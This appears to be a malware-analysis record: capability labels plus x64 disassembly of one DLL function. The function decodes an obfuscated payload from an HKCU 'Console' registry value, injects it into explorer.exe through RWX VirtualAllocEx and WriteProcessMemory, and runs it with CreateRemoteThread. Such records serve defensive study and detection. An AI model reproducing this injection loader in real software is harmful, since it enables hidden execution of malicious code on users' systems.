Function at 0x1800013b0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Execute shellcode via indirect call
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
lea rbp, [rsp - 0x37]
sub rsp, 0x100
mov qword [rbp - 1], 0xfffffffffffffffe
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x180001423
mov dword [rbp - 0x69], 0x74697257
mov dword [rbp - 0x65], 0x6f725065
mov dword [rbp - 0x61], 0x73736563
mov dword [rbp - 0x5d], 0x6f6d654d
mov word [rbp - 0x59], 0x7972
mov byte [rbp - 0x57], 0
lea rdx, [rbp - 0x69]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1800275f8], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [rsp + 0x40], 0x61657771
mov dword [rsp + 0x44], 0x32336473
mov dword [rsp + 0x48], 0x63787a31
mov byte [rbp - 0x7d], 0
mov qword [rbp - 0x11], 0xf
xor r12d, r12d
mov qword [rbp - 0x19], r12
mov byte [rbp - 0x29], r12b
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x29]
call fcn.1800019b0
nop
lea rdx, [rbp - 0x29]
lea rcx, [rbp + 7]
call fcn.180001260
nop
cmp qword [rbp - 0x11], 0x10
jb 0x180001493
mov rcx, qword [rbp - 0x29]
call fcn.180003050
mov qword [rbp - 0x11], 0xf
mov qword [rbp - 0x19], r12
mov byte [rbp - 0x29], 0
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x51]
call fcn.180001390
nop
mov dword [rbp + 0x6f], 0x736e6f43
mov dword [rbp + 0x73], 0x656c6f
lea rax, [rbp + 0x77]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [rbp + 0x6f]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x67], r12d
lea rdx, [rbp - 0x51]
cmp qword [rbp - 0x39], 0x10
cmovae rdx, qword [rbp - 0x51]
lea rax, [rbp + 0x67]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp + 0x77]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x67]
call fcn.18000258c
mov rdi, rax
lea rdx, [rbp - 0x51]
cmp qword [rbp - 0x39], 0x10
cmovae rdx, qword [rbp - 0x51]
lea rax, [rbp + 0x67]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp + 0x77]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x67]
call fcn.18000258c
mov rsi, rax
mov r8d, dword [rbp + 0x67]
mov rdx, rdi
mov rcx, rax
call fcn.180002930
mov rcx, qword [rbp + 0x77]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rbp - 0x79], 0x6c707865
mov dword [rbp - 0x75], 0x7265726f
mov dword [rbp - 0x71], 0x6578652e
mov byte [rbp - 0x6d], 0
lea rcx, [rbp - 0x79]
call fcn.180001190
mov r8d, eax
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov r8d, dword [rbp + 0x67]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov r9d, dword [rbp + 0x67]
mov rax, qword [0x1800275f8]
test rax, rax
je 0x1800015e5
mov qword [rsp + 0x20], r12
mov r8, rsi
mov rdx, rbx
mov rcx, rdi
call rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
nop
cmp qword [rbp - 0x39], 0x10
jb 0x180001616
mov rcx, qword [rbp - 0x51]
call fcn.180003050
mov qword [rbp - 0x39], 0xf
mov qword [rbp - 0x41], r12
mov byte [rbp - 0x51], 0
cmp qword [rbp + 0x1f], 0x10
jb 0x180001636
mov rcx, qword [rbp + 7]
call fcn.180003050
add rsp, 0x100
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret